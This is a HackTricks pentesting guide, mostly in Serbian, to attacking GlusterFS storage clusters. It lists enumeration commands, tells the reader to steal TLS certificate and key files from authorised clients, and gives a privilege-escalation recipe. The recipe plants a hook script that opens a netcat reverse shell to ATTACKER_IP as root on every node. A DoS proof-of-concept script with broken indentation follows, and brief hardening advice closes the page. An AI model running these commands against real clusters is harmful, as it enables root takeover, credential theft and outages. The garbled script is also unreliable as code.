24007-24008-24009-49152 - Pentesting GlusterFS

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

GlusterFS je distribuisani fajl sistem koji kombinuje skladište sa više servera u jedan ujedinjeni naziv prostora. Daemon za upravljanje (glusterd) po defaultu sluša na 24007/TCP i daje instrukcije brick-ovima na podacima koji počinju na 49152/TCP (jedan port po brick-u, sa povećanjem). Verzije pre 9.x koristile su 24008–24009/TCP za transport brick-ova, tako da ćete i dalje naići na te portove u nasleđenim klasterima.

PORT      STATE  SERVICE        VERSION
24007/tcp open   glusterd       GlusterFS (RPC)
49152/tcp open   gluster-brick  SSL (TLS optional)

Savet: 24007 odgovara na RPC pozive čak i kada čvorovi koji se koriste samo za skladištenje ne izvoze nijedan volumen; stoga je usluga pouzdana meta za preusmeravanje unutar velikih infrastruktura.

Enumeracija

Instalirajte klijentske alate na vašem napadačkom računaru:

bash
sudo apt install -y glusterfs-cli glusterfs-client   # Debian/Ubuntu
  1. Otkriće i zdravlje peer-a
bash
# List peers (works without authentication in default setups)
gluster --remote-host 10.10.11.131 peer status
  1. Reconnaissance volumena
bash
# Retrieve the list of all volumes and their configuration
gluster --remote-host 10.10.11.131 volume info all
  1. Montiranje bez privilegija
bash
sudo mount -t glusterfs 10.10.11.131:/<vol_name> /mnt/gluster

Ako montiranje ne uspe, proverite /var/log/glusterfs/<vol_name>-<uid>.log na klijentskoj strani. Uobičajeni problemi su:

  • TLS primena (option transport.socket.ssl on)
  • Kontrola pristupa zasnovana na adresi (option auth.allow <cidr>)

Rešavanje problema sa sertifikatima

Ukrao sledeće datoteke sa bilo kojeg autorizovanog klijentskog čvora i stavite ih u /etc/ssl/ (ili direktorijum prikazan u logu greške):

/etc/ssl/glusterfs.pem
/etc/ssl/glusterfs.key
/etc/ssl/glusterfs.ca

Poznate ranjivosti (2022-2025)

CVEPogođene verzijeUticajNapomene
CVE-2022-4834010.0–10.4, 11.0Use-after-free u dht_setxattr_mds_cbk dostupan preko mrežeDaljinski DoS i verovatni RCE. Ispravljeno u 10.4.1 / 11.1.
CVE-2023-26253< 11.0Čitanje van granica u FUSE notifikacionom handleruDaljski pad sistema putem kreiranih FS operacija; javno dostupna PoC.
CVE-2023-3775< 10.5 / 11.1Neispravna validacija dozvola prilikom montiranja gluster_shared_storageOmogućava bilo kojem neautentifikovanom klijentu da montira admin volumen – dovodi do priv-esc objašnjenog u nastavku.

Uvek proveravajte gluster --version na svakoj čvoru; heterogene klastere su česte nakon delimičnih nadogradnji.

Eksploatacija gluster_shared_storage (Escalacija privilegija)

Čak i u novijim verzijama mnogi administratori ostavljaju poseban gluster_shared_storage volumen čitljiv za sve jer to pojednostavljuje geo-replikaciju. Volumen sadrži šablone cronjob-a koji se izvršavaju sa root na svakom čvoru.

bash
# 1. Mount admin volume anonymously
mkdir /tmp/gss && sudo mount -t glusterfs 10.10.11.131:/gluster_shared_storage /tmp/gss

# 2. Drop malicious script that gets synchronised cluster-wide
cat <<'EOF' > /tmp/gss/hooks/1/start/post/test.sh
#!/bin/bash
nc -e /bin/bash ATTACKER_IP 4444 &
EOF
chmod +x /tmp/gss/hooks/1/start/post/test.sh

# 3. Wait until glusterd distributes the hook and executes it as root

Ako hooks/1/ nije prisutan, potražite /ss_bricks/ – tačna putanja može varirati sa glavnom verzijom.

Denial-of-Service PoC (CVE-2023-26253)

python
#!/usr/bin/env python3
# Minimal reproducer: sends malformed NOTIFY_REPLY XDR frame to 24007
import socket, xdrlib, struct
p = xdrlib.Packer(); p.pack_uint(0xdeadbeef)
with socket.create_connection(("10.10.11.131",24007)) as s:
s.send(struct.pack("!L", len(p.get_buffer())|0x80000000))
s.send(p.get_buffer())

Pokretanje skripte ruši glusterfsd < 11.0.


Ojačavanje i Detekcija

  • Ažurirajte – trenutni LTS je 11.1 (jul 2025). Svi CVE-ovi iznad su ispravljeni.
  • Omogućite TLS za svaki brick:
bash
gluster volume set <vol> transport.socket.ssl on
gluster volume set <vol> transport.socket.ssl-cert /etc/ssl/glusterfs.pem
  • Ograničite klijente sa CIDR listama:
bash
gluster volume set <vol> auth.allow 10.0.0.0/24
  • Izložite upravljački port 24007 samo na privatnom VLAN-u ili kroz SSH tuneli.
  • Pratite logove: tail -f /var/log/glusterfs/glusterd.log i konfigurišite audit-log funkciju (volume set <vol> features.audit-log on).

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks